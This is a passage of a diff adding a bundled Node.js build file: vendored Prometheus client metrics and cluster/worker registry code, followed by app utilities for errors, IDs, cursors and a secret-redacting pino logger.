NODEJS_HEAP_SIZE_TOTAL = "nodejs_heap_size_total_bytes"; + var NODEJS_HEAP_SIZE_USED = "nodejs_heap_size_used_bytes"; + var NODEJS_EXTERNAL_MEMORY = "nodejs_external_memory_bytes"; + module.exports = (registry2, config2 = {}) => { + if (typeof process.memoryUsage !== "function") { + return; + } + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + const registers = registry2 ? [registry2] : void 0; + const namePrefix = config2.prefix ? config2.prefix : ""; + const collect = () => { + const memUsage = safeMemoryUsage(); + if (memUsage) { + heapSizeTotal.set(labels, memUsage.heapTotal); + heapSizeUsed.set(labels, memUsage.heapUsed); + if (memUsage.external !== void 0) { + externalMemUsed.set(labels, memUsage.external); + } + } + }; + const heapSizeTotal = new Gauge({ + name: namePrefix + NODEJS_HEAP_SIZE_TOTAL, + help: "Process heap size from Node.js in bytes.", + registers, + labelNames, + // Use this one metric's `collect` to set all metrics' values. + collect + }); + const heapSizeUsed = new Gauge({ + name: namePrefix + NODEJS_HEAP_SIZE_USED, + help: "Process heap size used from Node.js in bytes.", + registers, + labelNames + }); + const externalMemUsed = new Gauge({ + name: namePrefix + NODEJS_EXTERNAL_MEMORY, + help: "Node.js external memory size in bytes.", + registers, + labelNames + }); + }; + module.exports.metricNames = [ + NODEJS_HEAP_SIZE_TOTAL, + NODEJS_HEAP_SIZE_USED, + NODEJS_EXTERNAL_MEMORY + ]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/heapSpacesSizeAndUsed.js +var require_heapSpacesSizeAndUsed = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/heapSpacesSizeAndUsed.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var v8 = __require("v8"); + var METRICS = ["total", "used", "available"]; + var NODEJS_HEAP_SIZE = {}; + METRICS.forEach((metricType) => { + NODEJS_HEAP_SIZE[metricType] = `nodejs_heap_space_size_${metricType}_bytes`; + }); + module.exports = (registry2, config2 = {}) => { + try { + v8.getHeapSpaceStatistics(); + } catch (e) { + if (e.code === "ERR_NOT_IMPLEMENTED") { + return; + } + throw e; + } + const registers = registry2 ? [registry2] : void 0; + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = ["space", ...Object.keys(labels)]; + const gauges = {}; + METRICS.forEach((metricType) => { + gauges[metricType] = new Gauge({ + name: namePrefix + NODEJS_HEAP_SIZE[metricType], + help: `Process heap space size ${metricType} from Node.js in bytes.`, + labelNames, + registers + }); + }); + gauges.total.collect = () => { + for (const space of v8.getHeapSpaceStatistics()) { + const spaceName = space.space_name.substr( + 0, + space.space_name.indexOf("_space") + ); + gauges.total.set({ space: spaceName, ...labels }, space.space_size); + gauges.used.set({ space: spaceName, ...labels }, space.space_used_size); + gauges.available.set( + { space: spaceName, ...labels }, + space.space_available_size + ); + } + }; + }; + module.exports.metricNames = Object.values(NODEJS_HEAP_SIZE); + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/version.js +var require_version = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/version.js"(exports, module) { + "use strict"; + var Gauge = require_gauge(); + var version3 = typeof process !== "undefined" && typeof process.version === "string" ? process.version : "v0.0.0"; + var versionSegments = version3.slice(1).split(".").map(Number); + var NODE_VERSION_INFO = "nodejs_version_info"; + module.exports = (registry2, config2 = {}) => { + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + new Gauge({ + name: namePrefix + NODE_VERSION_INFO, + help: "Node.js version info.", + labelNames: ["version", "major", "minor", "patch", ...labelNames], + registers: registry2 ? [registry2] : void 0, + aggregator: "first", + collect() { + this.labels( + version3, + versionSegments[0], + versionSegments[1], + versionSegments[2], + ...Object.values(labels) + ).set(1); + } + }); + }; + module.exports.metricNames = [NODE_VERSION_INFO]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/gc.js +var require_gc = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metrics/gc.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Histogram2 = require_histogram(); + var debug = debuglog("prom:metrics:gc"); + var perf_hooks; + try { + perf_hooks = __require("perf_hooks"); + } catch (error51) { + debug("perf_hooks module is unavailable: %o", error51); + } + var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; + var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; + var kinds = []; + if (perf_hooks && perf_hooks.constants) { + kinds[perf_hooks.constants.NODE_PERFORMANCE_GC_MAJOR] = "major"; + kinds[perf_hooks.constants.NODE_PERFORMANCE_GC_MINOR] = "minor"; + kinds[perf_hooks.constants.NODE_PERFORMANCE_GC_INCREMENTAL] = "incremental"; + kinds[perf_hooks.constants.NODE_PERFORMANCE_GC_WEAKCB] = "weakcb"; + } + module.exports = (registry2, config2 = {}) => { + if (!perf_hooks) { + return; + } + const namePrefix = config2.prefix ? config2.prefix : ""; + const labels = config2.labels ? config2.labels : {}; + const labelNames = Object.keys(labels); + const buckets = config2.gcDurationBuckets ? config2.gcDurationBuckets : DEFAULT_GC_DURATION_BUCKETS; + const gcHistogram = new Histogram2({ + name: namePrefix + NODEJS_GC_DURATION_SECONDS, + help: "Garbage collection duration by kind, one of major, minor, incremental or weakcb.", + labelNames: ["kind", ...labelNames], + enableExemplars: false, + buckets, + registers: registry2 ? [registry2] : void 0 + }); + const obs = new perf_hooks.PerformanceObserver((list) => { + const entry = list.getEntries()[0]; + const kind = entry.detail ? kinds[entry.detail.kind] : kinds[entry.kind]; + gcHistogram.observe(Object.assign({ kind }, labels), entry.duration / 1e3); + }); + obs.observe({ entryTypes: ["gc"] }); + }; + module.exports.metricNames = [NODEJS_GC_DURATION_SECONDS]; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/defaultMetrics.js +var require_defaultMetrics = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/defaultMetrics.js"(exports, module) { + "use strict"; + var { isObject: isObject3 } = require_util3(); + var processCpuTotal = require_processCpuTotal(); + var processStartTime = require_processStartTime(); + var osMemoryHeap = require_osMemoryHeap(); + var processOpenFileDescriptors = require_processOpenFileDescriptors(); + var processMaxFileDescriptors = require_processMaxFileDescriptors(); + var eventLoopLag = require_eventLoopLag(); + var eventLoopUtilization = require_eventLoopUtilization(); + var processHandles = require_processHandles(); + var processRequests = require_processRequests(); + var processResources = require_processResources(); + var heapSizeAndUsed = require_heapSizeAndUsed(); + var heapSpacesSizeAndUsed = require_heapSpacesSizeAndUsed(); + var version3 = require_version(); + var gc = require_gc(); + var metrics2 = { + processCpuTotal, + processStartTime, + osMemoryHeap, + processOpenFileDescriptors, + processMaxFileDescriptors, + eventLoopLag, + eventLoopUtilization, + ...typeof process !== "undefined" && // eslint-disable-next-line n/no-unsupported-features/node-builtins + typeof process.getActiveResourcesInfo === "function" ? { processResources } : {}, + processHandles, + processRequests, + heapSizeAndUsed, + heapSpacesSizeAndUsed, + version: version3, + gc + }; + var metricsList = Object.keys(metrics2); + module.exports = function collectDefaultMetrics2(config2) { + if (config2 !== null && config2 !== void 0 && !isObject3(config2)) { + throw new TypeError("config must be null, undefined, or an object"); + } + config2 = { eventLoopMonitoringPrecision: 10, ...config2 }; + for (const metric of Object.values(metrics2)) { + metric(config2.register, config2); + } + }; + module.exports.metricsList = metricsList; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/cluster.js +var require_cluster = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/cluster.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var Registry2 = require_registry(); + var { waitFor } = require_util3(); + var cluster = () => { + const data = __require("cluster"); + cluster = () => data; + return data; + }; + var debug = debuglog("prom:metrics:cluster"); + var ACK = "@prometheus-io/client:ack"; + var ANNOUNCEMENT = "@prometheus-io/client:announcement"; + var GET_METRICS_REQ = "@prometheus-io/client:getMetricsReq"; + var GET_METRICS_RES = "@prometheus-io/client:getMetricsRes"; + var GOODBYE = "@prometheus-io/client:goodbye"; + var registries = [Registry2.globalRegistry]; + var listenersAdded = false; + var requestCtr = 0; + var requests = /* @__PURE__ */ new Map(); + var workers = /* @__PURE__ */ new Map(); + var historicMetrics = []; + var AggregatorRegistry = class extends Registry2 { + /** + * Create a Registry. + * @param regContentType + */ + constructor(regContentType = Registry2.PROMETHEUS_CONTENT_TYPE) { + super(regContentType); + addListeners(); + } + /** + * Gets aggregated metrics for all workers. The optional callback and + * returned Promise resolve with the same value; either may be used. + * @returns {Promise} Promise that resolves with the aggregated + * metrics. + */ + async clusterMetrics() { + const requestId = requestCtr++; + const orderedWorkers = [...workers.values()].filter((worker) => worker.isConnected()).sort((left, right) => left.id - right.id); + if (orderedWorkers.length === 0) { + debug("No workers found for requestId", requestId); + } + const metricSnapshot = historicMetrics; + const responseHandlers = /* @__PURE__ */ new Map(); + const workerMetrics = orderedWorkers.map( + (worker) => new Promise((resolveResponse, rejectResponse) => { + responseHandlers.set(worker.id, { + resolve: resolveResponse, + reject: rejectResponse + }); + }) + ); + const responsePromises = [this.#selfMetrics(), ...workerMetrics]; + const request = { + responseHandlers, + promise: waitFor( + this.#gather(requestId, metricSnapshot, responsePromises), + 5e3 + ) + }; + requests.set(requestId, request); + try { + orderedWorkers.forEach( + (worker) => worker.send({ type: GET_METRICS_REQ, requestId }) + ); + return await request.promise; + } catch (err) { + if (err.message === "Timeout") { + throw new Error( + `Operation timed out. ${request.responseHandlers.size} outstanding responses.` + ); + } + throw err; + } finally { + requests.delete(requestId); + } + } + async #selfMetrics() { + return { + metrics: await Promise.all(registries.map((r) => r.getMetricsAsJSON())) + }; + } + /** + * Collect the data for a metrics request. + * @param requestId {number} + * @param {any[]} historical - Previously collected values + * @param promises {Promise[]} + * @returns {Promise} + */ + async #gather(requestId, historical, promises) { + const responses = await Promise.all(promises); + const metrics2 = responses.flatMap((response) => response.metrics); + return Registry2.aggregate( + [historical, ...metrics2], + this.contentType + ).metrics(); + } + get contentType() { + return super.contentType; + } + /** + * Orderly shutdown of the registry. + * + * This is meant to be called prior to `process.exit()` to facilitate accurate metrics. + * + * If this instance is the primary, then it will wait for any in-flight + * metrics to finish collecting or time out prior to returning. + * If this instance is a worker, then it will flush all sum stats to the + * primary to prevent data loss on subsequent scrapes. + * If this function is called twice, it will only wait for the outstanding + * shutdown request to complete or timeout. + * + * @param {number} [timeout] - how long to wait for an orderly shutdown + * @returns {Promise} + */ + async shutdown(timeout = 5e3) { + const outstanding = [...requests.values().map((entry) => entry.promise)]; + if (outstanding.length > 0) { + await Promise.allSettled(outstanding); + } else if (!cluster().isPrimary) { + const responseHandlers = /* @__PURE__ */ new Map(); + const acknowledgement = new Promise((resolveResponse, rejectResponse) => { + responseHandlers.set("ack", { + resolve: resolveResponse, + reject: rejectResponse + }); + }); + const requestId = requestCtr++; + const request = { + responseHandlers, + promise: acknowledgement + }; + requests.set(requestId, request); + try { + const metrics2 = await Promise.all( + registries.map((r) => r.getMetricsAsJSON("sum")) + ); + debug("sending goodbye message from", process.pid); + processSend({ + type: GOODBYE, + requestId, + metrics: metrics2 + }); + return await waitFor(acknowledgement, timeout); + } finally { + } + } + } + /** + * Creates a new Registry instance from an array of metrics that were + * created by `registry.getMetricsAsJSON()`. Metrics are aggregated using + * the method specified by their `aggregator` property, or by summation if + * `aggregator` is undefined. + * @param {Array} metricsArr Array of metrics, each of which created by + * `registry.getMetricsAsJSON()`. + * @param {string} registryType content type of the new registry. Defaults + * to PROMETHEUS_CONTENT_TYPE. + * @returns {Registry} aggregated registry. + */ + static aggregate(metricsArr, registryType = Registry2.PROMETHEUS_CONTENT_TYPE) { + return Registry2.aggregate(metricsArr, registryType); + } + /** + * Sets the registry or registries to be aggregated. Call from workers to + * use a registry/registries other than the default global registry. + * @param {Array|Registry} regs Registry or registries to be + * aggregated. + * @returns {void} + */ + static setRegistries(regs) { + if (!Array.isArray(regs)) regs = [regs]; + regs.forEach((reg) => { + if (!(reg instanceof Registry2)) { + throw new TypeError(`Expected Registry, got ${typeof reg}`); + } + }); + registries = regs; + } + }; + function addListeners() { + if (listenersAdded) { + return; + } + listenersAdded = true; + if (cluster().isPrimary) { + scanListeners("message", cluster(), primaryListener); + cluster().on("message", primaryListener); + scanListeners("disconnect", cluster(), disconnect); + cluster().on("disconnect", disconnect); + announce(); + } else { + scanListeners("message", process, workerListener); + process.on("message", workerListener); + processSend({ type: ANNOUNCEMENT }); + } + } + async function workerListener(message2) { + if (message2.type === ANNOUNCEMENT) { + process.send({ type: ANNOUNCEMENT }); + } else if (message2.type === GET_METRICS_REQ) { + try { + const metrics2 = await Promise.all( + registries.map((r) => r.getMetricsAsJSON()) + ); + if (!process.connected) { + debug("Connection to primary lost."); + } else { + process.send({ + type: GET_METRICS_RES, + requestId: message2.requestId, + metrics: metrics2 + }); + } + } catch (error51) { + debug("Error sending to primary", error51); + if (!process.connected) { + debug("Connection to primary lost."); + } else { + process.send({ + type: GET_METRICS_RES, + requestId: message2.requestId, + error: error51.message + }); + } + } + } else if (message2.type === ACK) { + const request = requests.get(message2.requestId); + if (request === void 0) { + debug("unexpected goodbye message for", process.pid); + } else { + const resolve = request.responseHandlers.get("ack").resolve; + debug("received acknowledgement for goodbye message from parent"); + resolve(message2); + } + } + } + async function primaryListener(worker, event) { + if (event.type === ANNOUNCEMENT) { + if (workers.has(worker.id)) { + debug("duplicate worker announcement", worker.id); + return; + } + workers.set(worker.id, worker); + } else if (event.type === GET_METRICS_RES) { + const requestId = event.requestId; + const request = requests.get(requestId); + if (request === void 0) { + debug("unexpected results for", requestId, "from worker", worker.id); + return; + } + const response = request.responseHandlers.get(worker.id); + if (response === void 0) { + debug("unexpected results from worker", worker.id); + return; + } + request.responseHandlers.delete(worker.id); + if (event.error) { + response.reject(new Error(event.error)); + } else { + response.resolve({ + threadId: worker.id, + metrics: event.metrics + }); + } + } else if (event.type === GOODBYE) { + if (!workers.has(worker.id)) { + debug("goodbye message from unknown worker", worker.id); + } else { + debug("received goodbye message from", worker.id); + worker.send({ + type: ACK, + requestId: event.requestId + }); + try { + const metrics2 = [historicMetrics, ...event.metrics]; + historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); + debug("collected metrics data from", worker.id); + } catch (error51) { + console.error("error collecting shutdown metrics", worker.id, error51); + } finally { + workers.delete(worker.id); + } + } + } + } + function disconnect(event) { + debug("worker disconnected", event.id); + workers.delete(event.id); + } + function announce() { + for (const worker of Object.values(cluster().workers)) { + if (worker.isConnected()) { + worker.send({ type: ANNOUNCEMENT }); + } + } + } + function scanListeners(messageType, emitter, fn) { + const functionString = fn.toString(); + for (const listener of emitter.listeners(messageType)) { + if (functionString == listener) { + if (["test", "development"].includes(process.env.NODE_ENV)) { + debug("removing duplicate listener", messageType); + emitter.off(messageType, listener); + } else { + console.warn( + "Loading multiple instances of @prometheus-io/client_js will result in data loss." + ); + console.warn( + "Please review your architecture to ensure that a single copy is loaded at startup and retained throughout the application lifecycle." + ); + } + } + } + } + function processSend(message2) { + if (typeof process.send !== "function") { + debug("worker has no process.send()"); + } else if (!process.connected) { + debug("worker is not connected to parent process"); + } else { + process.send(message2); + } + } + module.exports = AggregatorRegistry; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/worker.js +var require_worker = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/worker.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var worker = __require("node:worker_threads"); + var Registry2 = require_registry(); + var { waitFor } = require_util3(); + var { isMainThread, threadId, BroadcastChannel } = worker; + var debug = debuglog("prom:metrics:worker"); + var ACK = "@prometheus-io/client:ack"; + var ANNOUNCEMENT = "@prometheus-io/client:announcement"; + var GET_METRICS_REQ = "@prometheus-io/client:getMetricsReq"; + var GET_METRICS_RES = "@prometheus-io/client:getMetricsRes"; + var GOODBYE = "@prometheus-io/client:goodbye"; + var ANNOUNCEMENT_CHANNEL = new BroadcastChannel( + "@prometheus-io/client:announce" + ).unref(); + var registries = [Registry2.globalRegistry]; + var listenersAdded = false; + var requestCtr = 0; + var requests = /* @__PURE__ */ new Map(); + var workers = /* @__PURE__ */ new Map(); + var historicMetrics = []; + var WorkerRegistry = class extends Registry2 { + /** + * Create a Registry. + * If set to primary, this thread will handle coordination of all the other + * workers. + * @param regContentType + * @param primary {boolean} whether this is the coordinating process + */ + constructor(regContentType = Registry2.PROMETHEUS_CONTENT_TYPE, primary = isMainThread) { + super(regContentType); + this.primary = primary; + addListeners(primary); + } + /** + * Gets aggregated metrics for all workers. The optional callback and + * returned Promise resolve with the same value; either may be used. + * @returns {Promise} Promise that resolves with the aggregated + * metrics. + */ + async workerMetrics() { + const requestId = requestCtr++; + const orderedWorkers = [...workers.values()].sort( + (left, right) => left.threadId - right.threadId + ); + if (orderedWorkers.length === 0) { + if (historicMetrics.length === 0) { + debug("No data found for requestId", requestId); + return ""; + } else { + debug("No workers found for requestId", requestId); + } + } + const metricSnapshot = historicMetrics; + const responseHandlers = /* @__PURE__ */ new Map(); + const responsePromises = orderedWorkers.map( + (entry) => new Promise((resolveResponse, rejectResponse) => { + responseHandlers.set(entry.name, { + resolve: resolveResponse, + reject: rejectResponse + }); + }) + ); + const request = { + responseHandlers, + promise: waitFor( + this.#gather(requestId, metricSnapshot, responsePromises), + 5e3 + ) + }; + requests.set(requestId, request); + try { + ANNOUNCEMENT_CHANNEL.postMessage({ + type: GET_METRICS_REQ, + threadId, + requestId + }); + return await request.promise; + } catch (err) { + if (err.message === "Timeout") { + throw new Error( + `Operation timed out. ${request.responseHandlers.size} outstanding responses.` + ); + } + throw err; + } finally { + requests.delete(requestId); + } + } + /** + * Collect the data for a metrics request. + * @param requestId {number} + * @param {any[]} historical - Previously collected values + * @param promises {Promise[]} + * @returns {Promise} + */ + async #gather(requestId, historical, promises) { + debug("Gathering data...", requestId); + const responses = await Promise.all(promises); + debug("Aggregating data...", requestId); + const metrics2 = responses.flatMap((response) => response.metrics); + return Registry2.aggregate( + [historical, ...metrics2], + this.contentType + ).metrics(); + } + get contentType() { + return super.contentType; + } + /** + * Orderly shutdown of the registry. + * + * This is meant to be called prior to `process.exit()` to facilitate accurate metrics. + * + * If this instance is the primary, then it will wait for any in-flight + * metrics to finish collecting or time out prior to returning. + * If this instance is a worker, then it will flush all sum stats to the + * primary to prevent data loss on subsequent scrapes. + * If this function is called twice, it will only wait for the outstanding + * shutdown request to complete or timeout. + * + * @param {number} [timeout] - how long to wait for an orderly shutdown + * @returns {Promise} + */ + async shutdown(timeout = 5e3) { + const outstanding = [...requests.values().map((entry) => entry.promise)]; + if (outstanding.length > 0) { + await Promise.allSettled(outstanding); + } else if (!this.primary) { + const name = `@prometheus-io/client:worker:${threadId}`; + const channel = new BroadcastChannel(name).unref(); + const responseHandlers = /* @__PURE__ */ new Map(); + const acknowledgement = new Promise((resolveResponse, rejectResponse) => { + responseHandlers.set("ack", { + resolve: resolveResponse, + reject: rejectResponse + }); + }); + const requestId = requestCtr++; + const request = { + responseHandlers, + promise: acknowledgement + }; + requests.set(requestId, request); + try { + const metrics2 = await Promise.all( + registries.map((r) => r.getMetricsAsJSON("sum")) + ); + debug("sending goodbye message from", threadId); + channel.postMessage({ + type: GOODBYE, + requestId, + threadId, + metrics: metrics2 + }); + return await waitFor(acknowledgement, timeout); + } finally { + channel.close(); + } + } + } + /** + * Creates a new Registry instance from an array of metrics that were + * created by `registry.getMetricsAsJSON()`. Metrics are aggregated using + * the method specified by their `aggregator` property, or by summation if + * `aggregator` is undefined. + * @param {Array} metricsArr Array of metrics, each of which created by + * `registry.getMetricsAsJSON()`. + * @param {string} registryType content type of the new registry. Defaults + * to PROMETHEUS_CONTENT_TYPE. + * @returns {Registry} aggregated registry. + */ + static aggregate(metricsArr, registryType = Registry2.PROMETHEUS_CONTENT_TYPE) { + return Registry2.aggregate(metricsArr, registryType); + } + static workerCount() { + return workers.size; + } + /** + * Sets the registry or registries to be aggregated. Call from workers to + * use a registry/registries other than the default global registry. + * @param {Array|Registry} regs Registry or registries to be + * aggregated. + * @returns {void} + */ + static setRegistries(regs) { + if (!Array.isArray(regs)) regs = [regs]; + regs.forEach((reg) => { + if (!(reg instanceof Registry2)) { + throw new TypeError(`Expected Registry, got ${typeof reg}`); + } + }); + registries = regs; + } + }; + function addListeners(primary) { + if (listenersAdded) { + return; + } + listenersAdded = true; + if (primary) { + ANNOUNCEMENT_CHANNEL.addEventListener("message", primaryListener); + } + const name = `@prometheus-io/client:worker:${threadId}`; + const channel = new BroadcastChannel(name).unref(); + ANNOUNCEMENT_CHANNEL.addEventListener("message", async (event) => { + const message2 = event.data; + if (message2.type === ANNOUNCEMENT) { + if (message2.primary) { + announce(name, false); + } + } else if (message2.type === GET_METRICS_REQ) { + const metrics2 = await Promise.all( + registries.map((r) => r.getMetricsAsJSON()) + ); + try { + channel.postMessage({ + type: GET_METRICS_RES, + requestId: message2.requestId, + threadId, + metrics: metrics2 + }); + } catch (error51) { + debug(error51); + channel.postMessage({ + type: GET_METRICS_RES, + requestId: message2.requestId, + error: error51.message + }); + } + } else { + debug("unexpected message for", threadId, message2); + } + }); + channel.addEventListener("message", async (event) => { + const message2 = event.data; + if (message2.type === ACK) { + const request = requests.get(message2.requestId); + if (request === void 0) { + debug("unexpected ACK message for", threadId); + } else { + const resolve = request.responseHandlers.get("ack").resolve; + debug( + "received acknowledgement for goodbye message from", + message2.threadId + ); + resolve(message2); + } + } + }); + announce(name, primary); + } + async function primaryListener(event) { + const message2 = event.data; + if (message2.type === ANNOUNCEMENT) { + const workerName = message2.name; + if (workers.has(workerName)) { + debug("duplicate worker announcement", workerName); + return; + } + debug("Registering worker", message2.threadId); + const workerChannel = new BroadcastChannel(workerName, {}).unref(); + workers.set(workerName, { + name: workerName, + channel: workerChannel, + threadId: message2.threadId + }); + workerChannel.addEventListener("close", () => { + debug("channel closed for worker", workerName); + }); + workerChannel.addEventListener("message", async (workerEvent) => { + const workerMessage = workerEvent.data; + if (workerMessage.type === GET_METRICS_RES) { + const request = requests.get(workerMessage.requestId); + if (request === void 0) { + debug("unexpected results from worker", workerName); + return; + } + const response = request.responseHandlers.get(workerName); + if (response === void 0) { + return; + } + request.responseHandlers.delete(workerName); + if (workerMessage.error) { + response.reject(new Error(workerMessage.error)); + } else { + response.resolve({ + threadId: workerMessage.threadId, + metrics: workerMessage.metrics + }); + } + } else if (workerMessage.type === GOODBYE) { + if (!workers.has(workerName)) { + debug("goodbye message from unknown worker", workerMessage.threadId); + } else { + debug("received goodbye message from", workerMessage.threadId); + workerChannel.postMessage({ + type: ACK, + requestId: workerMessage.requestId, + threadId + }); + try { + const metrics2 = [historicMetrics, ...workerMessage.metrics]; + historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); + debug("collected metrics data from", workerMessage.threadId); + } catch (error51) { + console.error( + "error collecting shutdown metrics", + workerMessage.threadId, + error51 + ); + } finally { + workers.delete(workerName); + workerChannel.close(); + } + } + } + }); + } + } + function announce(name, primary) { + ANNOUNCEMENT_CHANNEL.postMessage({ + type: ANNOUNCEMENT, + name, + threadId, + primary + }); + } + module.exports = WorkerRegistry; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/index.js +var require_client = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/index.js"(exports) { + "use strict"; + exports.register = require_registry().globalRegistry; + exports.Registry = require_registry(); + Object.defineProperty(exports, "contentType", { + configurable: false, + enumerable: true, + get() { + return exports.register.contentType; + }, + set(value) { + exports.register.setContentType(value); + } + }); + exports.prometheusContentType = exports.Registry.PROMETHEUS_CONTENT_TYPE; + exports.openMetricsContentType = exports.Registry.OPENMETRICS_CONTENT_TYPE; + exports.validateMetricName = require_validation3().validateMetricName; + exports.Counter = require_counter(); + exports.Gauge = require_gauge(); + exports.Histogram = require_histogram(); + exports.Summary = require_summary(); + exports.Pushgateway = require_pushgateway(); + exports.linearBuckets = require_bucketGenerators().linearBuckets; + exports.exponentialBuckets = require_bucketGenerators().exponentialBuckets; + exports.collectDefaultMetrics = require_defaultMetrics(); + exports.aggregators = require_metricAggregators().aggregators; + exports.ClusterRegistry = require_cluster(); + exports.WorkerRegistry = require_worker(); + exports.AggregatorRegistry = exports.ClusterRegistry; + exports[Symbol("util")] = require_util3(); + } +}); + +// packages/auth-kit/src/actor.ts +function buildActor(claims, permissions = {}) { + return { + user_id: claims.sub, + email: claims.email, + organization_id: claims.org, + role: claims.role, + permissions, + session_id: claims.session_id + }; +} + +// packages/utils/src/errors.ts +var STATUS_BY_CODE = { + VALIDATION_ERROR: 400, + UNAUTHENTICATED: 401, + FORBIDDEN: 403, + NOT_FOUND: 404, + CONFLICT: 409, + RATE_LIMITED: 429, + IDEMPOTENCY_KEY_REQUIRED: 400, + IDEMPOTENCY_KEY_REUSED: 409, + UNSUPPORTED_MEDIA_TYPE: 415, + PAYLOAD_TOO_LARGE: 413, + JOB_NOT_FOUND: 404, + RESUME_NOT_FOUND: 404, + USER_NOT_FOUND: 404, + EMAIL_ALREADY_REGISTERED: 409, + INVALID_CREDENTIALS: 401, + SESSION_EXPIRED: 401, + CONNECTOR_FAILURE: 502, + UPSTREAM_UNAVAILABLE: 503, + OAUTH_PROVIDER_UNAVAILABLE: 503, + INTERNAL_ERROR: 500 +}; +var AppError = class extends Error { + code; + statusCode; + details; + /** When false, the message is replaced with a generic string in responses. */ + exposeMessage; + constructor(code, message2, options = {}) { + super(message2, options.cause === void 0 ? void 0 : { cause: options.cause }); + this.name = "AppError"; + this.code = code; + this.statusCode = STATUS_BY_CODE[code]; + this.details = options.details; + this.exposeMessage = options.exposeMessage ?? code !== "INTERNAL_ERROR"; + } + toResponse(requestId) { + return { + error: { + code: this.code, + message: this.exposeMessage ? this.message : "An unexpected error occurred", + request_id: requestId, + ...this.details === void 0 ? {} : { details: this.details } + } + }; + } +}; +function isAppError(value) { + return value instanceof AppError; +} +function toAppError(value) { + if (isAppError(value)) return value; + const message2 = value instanceof Error ? value.message : String(value); + return new AppError("INTERNAL_ERROR", message2, { cause: value, exposeMessage: false }); +} + +// packages/utils/src/ids.ts +import { createHash, randomBytes, randomUUID, timingSafeEqual } from "node:crypto"; +function newUuid() { + return randomUUID(); +} +function sha256Hex(input) { + return createHash("sha256").update(input, "utf8").digest("hex"); +} +function encodeCursor(value) { + return Buffer.from(JSON.stringify(value), "utf8").toString("base64url"); +} +function decodeCursor(cursor) { + try { + const decoded = JSON.parse(Buffer.from(cursor, "base64url").toString("utf8")); + if (typeof decoded !== "object" || decoded === null || Array.isArray(decoded)) return null; + return decoded; + } catch { + return null; + } +} + +// packages/utils/src/logger.ts +var import_pino = __toESM(require_pino(), 1); + +// packages/utils/src/redact.ts +var REDACTED = "[redacted]"; + +// packages/utils/src/logger.ts +function createLogger({ service, level = "info", pretty = false }) { + return (0, import_pino.pino)({ + level, + base: { service }, + redact: { + paths: [ + "password", + "password_hash", + "token", + "access_token", + "refresh_token", + "secret", + "api_key", + "req.headers.authorization", + "req.headers.cookie", + 'res.headers["set-cookie"]', + "*.password", + "*.access_token", + "*.refresh_token" + ], + censor: REDACTED + }, + timestamp: import_pino.pino.stdTimeFunctions.isoTime, + formatters: { + level: (label) => ({ level: label }) + }, + ...pretty ? { + transport: { + target: "pino-pretty", + options: { colorize: true, translateTime: "HH:MM:ss.l", ignore: "pid,hostname" } + } + } : {} + }); +} + +// packages/utils/src/trace.ts +var IDEMPOTENCY_HEADER = "idempotency-key"; + +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js +var encoder = new TextEncoder(); +var decoder = new TextDecoder(); +var strictDecoder = new TextDecoder("utf-8", { fatal: true }); +var MAX_INT32 = 2 ** 32; +function concat(...buffers) { + const size2 = buffers.reduce((acc, { length }) => acc + length, 0), buf = new Uint8Array(size2); + let i = 0; + for (const buffer2 of buffers) + buf.set(buffer2, i), i += buffer2.length; + return buf; +} +var NON_ASCII = /[^\x00-\x7f]/; +function encode(string4) { + if (typeof string4 == "string" && string4.length >= 128) { + if (NON_ASCII.test(string4)) + throw new TypeError("non-ASCII string encountered in encode()"); + return encoder.encode(string4); + } + const bytes = new Uint8Array(string4.length); + for (let i = 0; i < string4.length; i++) { + const code = string4.charCodeAt(i); + if (code > 127) + throw new TypeError("non-ASCII string encountered in encode()"); + bytes[i] = code; + } + return bytes; +} +function decodeBase64(encoded, url2 = false) { + if (Uint8Array.fromBase64) + return Uint8Array.fromBase64(encoded, { alphabet: url2 ? "base64url" : "base64" }); + if (url2) { + if (encoded.includes("+") || encoded.includes("/")) + throw new 